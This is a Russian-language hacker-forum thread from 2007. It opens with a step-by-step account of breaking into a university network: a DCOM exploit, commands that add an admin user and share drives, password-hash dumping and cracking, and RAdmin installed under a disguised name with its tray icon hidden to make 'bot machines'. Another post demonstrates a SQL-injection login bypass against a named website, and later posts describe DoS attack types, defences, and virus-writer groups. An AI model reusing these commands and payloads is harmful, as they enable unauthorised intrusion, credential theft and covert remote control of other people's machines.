ДАННАЯ СТАТЬЯ НЕСЕТ ЧИСТО ИНФОРМАТИВНЫЙ ХАРКТЕР И НЕ СЛУЖИТ РУКОВОДСТВОМ К ДЕЙСТВИЮ, А ЛИШЬ ПОКАЗЫВАЕТ РАСПОСТРАННЫЕ ОШИБКИ СИСТЕМНЫХ АДМИНИСТРАТОРОВ.
Passwords, logins and names are changed. КРАТКОЕ ОПИСАНИЕ СЕТИ: Сеть университета. Сеть класса В, имеет доступ к Internet через прокси сервер, содержит в себе компьютеры преподавателей, бухгалтерии, высшего руководства университета, студенческие классы и базы данных (ЗАРПЛАТА, ОЦЕНКИ, ВСТУПИТЕЛЬНЫЕ ЭКЗАМЕННЫ).
SOFTWARE: Windows 2000 sp4 Windows XP SP1 SP2, Windows 2000 Server.
Попав в компьютерный класс своего университета, я сразу решил проверить сеть на устойчивость и защищенность. Для этого использовался самый примитивный набор hacktools и software.
Машины в компьютерном классе для студентов имели ограниченную учетную запись user типа Пользователь. Отсутствие возможностей по установке приложений не давало ограничения по запуску консольных приложений поэтому, открыв подставной бесплатный почтовый ящик, я скинул туда эксплоит Kaht2 (KAHT2.EXE Уязвимость в службе DCOM (Win 2000/XP) Эксплоит KaHt2.exe можно скачать по ссылке http://www.securitylab.ru/_exploits/kaht2.zip )
Распаковав его на локальной машине, атакую соседние машины, получив шелл вида C:\Winnt\system32\ провожу следующие действия
Net user hacker /add
Net localgroup Администраторы hacker /add
Net share C=C:\ /add
Далее соединяемся с атакованной машиной на диск С и кидаем туда gethashes.exe (Утилита из программы SamInside). С шелла запускаем gethashes.exe с параметром $local
Получаем локальные пароли зашифрованные hash функцией используя бесплатный сервис http://passcrack.spb.ru/ по восстановлению MD5 hash получаем пароль локального администратора, который в нашем случае подходит к большинству машин компьютерного класса. Распаковываем RAdmin устанавливаем на локальную машины имея права администратора, переписываем C:\Program files\RAdmin в произвольное место, заменяем r_server.exe на произвольное название на нашем примере это alg.exe. Заливаем на взломанную машину в папку C:\Winnt\system32\ c этой папки запускаем
R_server /install
R_server /port: 555 /save /silence
R_server /pass: hacked /save /silence
R_server /start
После этого открываем на локальной машине regedit.exe подключаем сетевой реестр взломанной машины HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
И добавляем двоичный параметр "DisableTrayIcon"=hex:00,00,00,00 и соединившись с удаленной машиной через Radmin производим перезагрузку последней.
Теперь мы имеем качественный бот машину. При этом общее время затраченное на взлом составляеи ~15 минут.
Повторяя такие действия в своей сети я имел права администратора на 80% компьютеров сети, включая компьютеры с базами данных, 90% сетевых паролей, 3,4 Гб отличного джаза и пару красивых юинов. В последствии подбирая пароли мною было обнаружено следующее: в 99,9% случаев локальный пароль входа в систему являеться и сетевым и паролем в ICQ UIN и другим сервисам.
Защита
С точки зрения администратора или пользователя:
Известно, что чем больше служб открыто на компьютере, тем больше уязвимостей он имеет, Поэтому такие службы как «Служба удаленного реестра», «Служба удаленного управления рабочим столом» должны быть отключены СРАЗУ ЖЕ после установки операционной системы.
Проверка типа net user net start netstat должны стать для вас обыденными и привычными действиями.
Не забываете устанавливать обновление на свою операционную систему (в данном случае для Windows XP это WindowsXP-KB823980-x86-RUS). При этом я не рекомендую пользоваться автоматическим обновлением Windows, т.к. существовало, и будет существовать множество «кривых заплаток» от Microsoft, поэтому обновив через неделю от официального старта автообновления на сервере вы обезопасите себя от «кривых заплаток».
Контроль политики паролей является прямой обязанностью системного администратора. Ведь в найденных мною парах Login/password было огромное количество вида username/username1954, домашние телефоны, элементарные наборы qwert, йцуке, 123456 и т.д.
Конечно, не возможно создать абсолютно защищенную систему не возможно, но отбить самые примитивные взломы, можно не допуская описанные выше ошибки
Ждем ваши комментарии! (прим. редактора - KL1M)
We are hackers. We are together.
Добавлено (2007-07-05, 18:55)
---------------------------------------------
В этой статье я покажу, какие нелепые ошибки допускают криворукие администраторы на примере взлома нескольких сайтов. Я не буду уделять большого внимания стандартным багам – на этот раз рассмотрим уязвимости, связанные с методами авторизации. Статья писалась для людей, имеющих определенные знания в программировании на языке PHP, однако понять каким образом я обхожу авторизацию в том или ином случае может понять каждый – постарался описать подробно. Итак, начнем с самого простого и часто встречающегося случая.
www.3p-consulting.info
На главной странице сайта была лишь одна форма для входа пользователей; это говорило только об одном – сайт предназначался для узкого круга лиц (впоследствии оказалось, что он принадлежал авторам книги о болезнях сердца). Мне ничего больше не оставалось, как попробовать систему авторизации на баги. В данном случае единственным возможным вариантом попасть в админку оказался SQL-Injection. Честно сказать я не рассчитывал попасть в приватную зону простыми способами, однако указав в качестве логина значение admin’ OR 1=1/*, я, к своему удивлению, оказался админом на сервере. «Почему так произошло?» наверняка спросишь ты. Давай рассмотрим скрипт login.php, в который методом POST передаются все параметры.
<?php
session_start();
define('_VALID_INC',1);
ini_set('url_rewriter.tags', '');
include('db.class.php');
include('functions.php');
if(isset($_SESSION['userid'])){
$dif = getDif($_SESSION['start'],time(),'second',1);
if($dif>=TIME_OUT){
logout($_SESSION['userid']);
}else{
$_SESSION['start'] = time();
}
}
$act = $_REQUEST['action'];
$task = $_REQUEST['task'];
switch($act){
case 'login':
$name = strip_tags($_REQUEST['name']);
$pwd = strip_tags($_REQUEST['pwd']);
$login_msg = login($name,$pwd);
break;
case 'logout':
logout($_SESSION['userid']);
break;
default:
break;
}
?>
Как видно, скрипт инклудит functions.php, в котором хранятся все необходимые функции, в том числе login(), которая возвращает в переменную $login_msg, результат выполнения авторизации. Итак, давай обратимся к этой функции.
function login($user,$pass){
global $database;
session_start();
if(empty($user) || empty($pass)){
return (empty($user) ? 'Please enter your username.':'Please enter your password.');
die();
}
$query = $database->query("SELECT * FROM user WHERE username='".$user."' && pass='".md5($pass.MD5_PASS)."'");
$erg = mysql_fetch_object($query);
…
}
Вот и ответ на твой вопрос: скрипт вообще не фильтрует передаваемые значения, поэтому мы можем внедрить свой код в SQL-запрос. То есть в нашем случае получается
SELECT * FROM user WHERE username='admin’ OR 1=1/*
' && pass='".md5($pass.MD5_PASS)."'"
В итоге получаем панель администрирования, не зная пароля
Добавлено (2007-07-09, 22:15)
---------------------------------------------
dos атаки
Сегодня наиболее часто используются следующие пять разновидностей DoS-атак, для проведения которых существует большое количество программного обеспечения и от которых наиболее тяжело защититься:
Smurf - ping-запросы ICMP (Internet Control Message Protocol) по адресу направленной широковещательной рассылки. Используемый в пакетах этого запроса фальшивый адрес источника в результате оказывается мишенью атаки. Системы, получившие направленный широковещательный ping-запрос, отвечают на него и "затапливают" сеть, в которой находится сервер-мишень.
ICMP flood - атака, аналогичная Smurf, только без усиления, создаваемого запросами по направленному широковещательному адресу.
UDP flood - отправка на адрес системы-мишени множества пакетов UDP (User Datagram Protocol), что приводит к "связыванию" сетевых ресурсов.
TCP flood - отправка на адрес системы-мишени множества TCP-пакетов, что также приводит к "связыванию" сетевых ресурсов.
TCP SYN flood - при проведении такого рода атаки выдается большое количество запросов на инициализацию TCP-соединений с узлом-мишенью, которому, в результате, приходится расходовать все свои ресурсы на то, чтобы отслеживать эти частично открытые соединения.
Добавлено (2007-07-11, 00:59)
---------------------------------------------
Анатомия атаки
В общем случае технология DoS-атаки выглядит следующим образом: на выбранный в качестве мишени web-узел обрушивается шквал ложных запросов со множества компьютеров по всему миру. В результате обслуживающие узел серверы оказываются парализованы и не могут обслуживать запросы обычных пользователей. При этом пользователи компьютеров, с которых направляются ложные запросы, и не подозревают о том, что их машина тайком используется злоумышленниками. При проведении атаки DDoS множество компьютерных систем одновременно начинает генерировать DoS-атаки, направленные на общую цель. Такое распределение нагрузки по сотням, а то и тысячам систем оказывается одним из самых лучших способов решения задач, требующих интенсивного использования системных ресурсов - а атаки DDoS относятся именно к таким задачам. При этом распределение рабочей нагрузки среди множества систем не только позволяет увеличить разрушительное действие атаки, но и существенно усложняет действия по защите от нее, а также не позволяет выявить истинный адрес атакующего узла.
Первоочередная задача злоумышленников состоит в том, чтобы получить доступ к достаточному числу узлов сети, чтобы разместить на них агентов атаки DDoS (так называемых "зомби"). Поскольку это сугубо подготовительный этап, хакеру неважно, какие узлы будут использоваться для атаки, и он просто перебирает все подряд в поисках наименее защищенных. Найти таковые обычно не составляет большого труда - благо, безалаберных сисадминов на планете достаточно. При этом современные инструментальные средства, созданные и используемые хакерами, по большей части, автоматизируют данную работу, а также организацию и инициализацию атак. Узлы, на которых размещены агенты DoS-атаки, называются "скомпрометированными".
Обычно при проведении масштабных DDoS-атак злоумышленниками создается трехуровневая архитектура - так называемый "кластер DDoS". Это иерархическая структура, на самой вершине которой находится одна или несколько управляющих консолей. Управляющая консоль - это, собственно, и есть тот самый компьютер, с которого хакер запускает атаку на систему. Управляющая консоль формирует команды, поступающие на следующий иерархический уровень - уровень главных контроллеров. Их на одну консоль может приходиться от десятка до нескольких сотен - в зависимости от масштабов атаки. Это также скомпрометированные web-узлы, но они не участвуют непосредственно в самой атаке. Каждый контроллер, в свою очередь, координирует действия большого количества (порядка нескольких тысяч) агентов-"зомби" - это уже третий уровень кластера. И уже "зомбированные" узлы берут на себя функции по непосредственному проведению атаки на узел-мишень. Проследить эту систему в обратном направлении практически невозможно. Анализ трафика "жертвы" приведет к узлу-агенту, и даже узел-контроллер становится отыскать непросто, не говоря уже об атакующей консоли.
Добавлено (2007-07-11, 01:02)
---------------------------------------------
Защита и предупреждение
В случае DoS-атаки трафик, предназначенный для переполнения атакуемой Сети, необходимо "отсекать" у провайдера услуг Интернет, потому что на входе в Сеть сделать это уже будет невозможно - вся полоса пропускания будет занята.
Угрозу DoS-атак можно снизить несколькими способами. Во-первых, необходимо правильно сконфигурировать функции анти-спуфинга на маршрутизаторах и межсетевых экранах. Эти функции должны включать, как минимум, фильтрацию RFC 2827. Если хакер будет не в состоянии замаскировать свою истинную личность, он вряд ли решится на проведение атаки. Во-вторых, необходимо включить и правильно сконфигурировать функции анти-DoS на маршрутизаторах и межсетевых экранах. Эти функции ограничивают число полуоткрытых каналов, не позволяя перегружать систему. Также рекомендуется при угрозе DoS-атаки ограничить объем проходящего по сети некритического трафика. Об этом уже нужно договариваться со своим интернет-провайдером. Обычно в подобных случаях ограничивается объем трафика ICMP, так как он используется сугубо для диагностических целей.
Как уже говорилось, вычислить кибертеррористов, организовавших DoS-атаку, крайне сложно. Это все равно, что искать отправителя письма, в котором неправильно указан обратный адрес. Для защиты от DoS-атак администраторы узлов-мишеней должны тесно сотрудничать со своими интернет-провайдерами, а те, в свою очередь, - с операторами магистральных сетей, таких как Uunet или Sprint. Но и самый надежно защищенный web-узел неспособен выдержать многогигабайтовый трафик.
В плане же менеджмента волна DoS-атак служит хорошим стимулом для разработки корпоративных планов быстрого реагирования. Такие планы особенно важны для компаний, занимающихся электронной коммерцией, так как в данном случае доступность их web-узлов - критический фактор.
Добавлено (2007-07-13, 00:59)
---------------------------------------------
ВИРУСЫ
Основная масса вирусов и троянских программ в прошлом создавалась студентами и школьниками, которые только что изучили язык программирования, хотели попробовать свои силы, но не смогли найти для них более достойного применения. Отраден тот факт, что значительная часть подобных вирусов их авторами не распространялась и вирусы через некоторое время умирали сами вместе с дисками, на которых хранились. Такие вирусы писались и пишутся по сей день только для самоутверждения их авторов.
Вторую группу создателей вирусов также составляют молодые люди (чаще — студенты), которые еще не полностью овладели искусством программирования. Единственная причина, толкающая их на написание вирусов, это комплекс неполноценности, который компенсируется компьютерным хулиганством. Из-под пера подобных «умельцев» часто выходят вирусы крайне примитивные и с большим числом ошибок («студенческие» вирусы). Жизнь подобных вирусописателей стала заметно проще с развитием интернета и появлением многочисленных веб-сайтов, ориентированных на обучение написанию компьютерных вирусов. На подобных веб-ресурсах можно найти подробные рекомендации по методам проникновения в систему, приемам скрытия от антивирусных программ, способам дальнейшего распространения вируса. Часто здесь же можно найти готовые исходные тексты, в которые надо всего лишь внести минимальные «авторские» изменения и откомпилировать рекомендуемым способом.
«Хулиганские» вирусы в последние годы становятся все менее и менее актуальными (несмотря на то что на смену повзрослевшим тинейджерам-хулиганам каждый раз приходит новое поколение тинейджеров) — за исключением тех случаев, когда такие вредоносные программы вызвали глобальные сетевые и почтовые эпидемии. На текущий момент доля подобных вирусов и троянских программ занимает не более 10% «материала», заносимого в антивирусные базы данных. Оставшиеся 90% гораздо более опасны, чем просто вирусы.
Став старше и опытнее, многие из подобных вирусописателей попадают в третью, наиболее опасную группу, которая создает и запускает в мир «профессиональные» вирусы. Эти тщательно продуманные и отлаженные программы создаются профессиональными, часто очень талантливыми программистами. Такие вирусы нередко используют достаточно оригинальные алгоритмы проникновения в системные области данных, ошибки в системах безопасности операционных сред, социальный инжиниринг и прочие хитрости.
Отдельно стоит четвертая группа авторов вирусов — «исследователи», довольно сообразительные программисты, которые занимаются изобретением принципиально новых методов заражения, скрытия, противодействия антивирусам и т. д. Они же придумывают способы внедрения в новые операционные системы. Эти программисты пишут вирусы не ради собственно вирусов, а скорее ради исследования потенциалов «компьютерной фауны». Часто авторы подобных вирусов не распространяют свои творения, однако активно пропагандируют свои идеи через многочисленные интернет-ресурсы, посвященные созданию вирусов. При этом опасность, исходящая от таких «исследовательских» вирусов, тоже весьма велика — попав в руки «профессионалов» из предыдущей группы, эти идеи очень быстро появляются в новых[/b]